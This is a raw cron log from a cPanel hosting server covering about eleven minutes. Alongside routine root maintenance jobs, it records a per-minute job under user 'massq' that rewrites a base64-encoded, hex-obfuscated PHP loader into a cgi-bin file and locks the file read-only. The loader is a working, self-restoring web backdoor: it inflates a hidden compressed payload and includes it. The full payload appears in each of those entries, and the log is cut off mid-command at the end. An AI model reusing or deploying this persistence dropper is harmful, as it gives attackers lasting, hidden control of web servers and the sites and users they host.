Sep  5 03:50:01 server CROND[25270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:50:01 server CROND[25271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:50:01 server CROND[25272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:50:01 server CROND[25274]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:50:01 server CROND[25268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:51:01 server CROND[26123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:51:01 server CROND[26124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:51:01 server CROND[26125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:52:01 server CROND[26500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:52:01 server CROND[26502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:52:01 server CROND[26501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:53:01 server CROND[26881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:53:01 server CROND[26882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:53:01 server CROND[26883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:54:01 server CROND[27253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:54:01 server CROND[27255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:54:01 server CROND[27254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:55:01 server CROND[27743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:55:01 server CROND[27744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:55:01 server CROND[27745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:55:01 server CROND[27760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:55:01 server CROND[27763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:55:01 server CROND[27766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:55:01 server CROND[27765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:56:01 server CROND[28589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:56:01 server CROND[28590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:56:01 server CROND[28591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:57:01 server CROND[28978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:57:01 server CROND[28980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:57:01 server CROND[28982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:57:01 server CROND[28981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:58:01 server CROND[29369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:58:01 server CROND[29368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:58:01 server CROND[29370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:59:01 server CROND[29742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:59:01 server CROND[29743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:59:01 server CROND[29744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:00:01 server CROND[30225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:00:01 server CROND[30227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:00:01 server CROND[30228]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:00:01 server CROND[30233]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 04:00:01 server CROND[30238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:00:01 server CROND[30239]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 04:00:01 server CROND[30234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:00:01 server CROND[30236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:00:01 server CROND[30240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:00:01 server CROND[30235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:01:01 server CROND[31108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:01:01 server CROND[31112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:01:01 server CROND[31110]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 04:01:01 server CROND[31111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 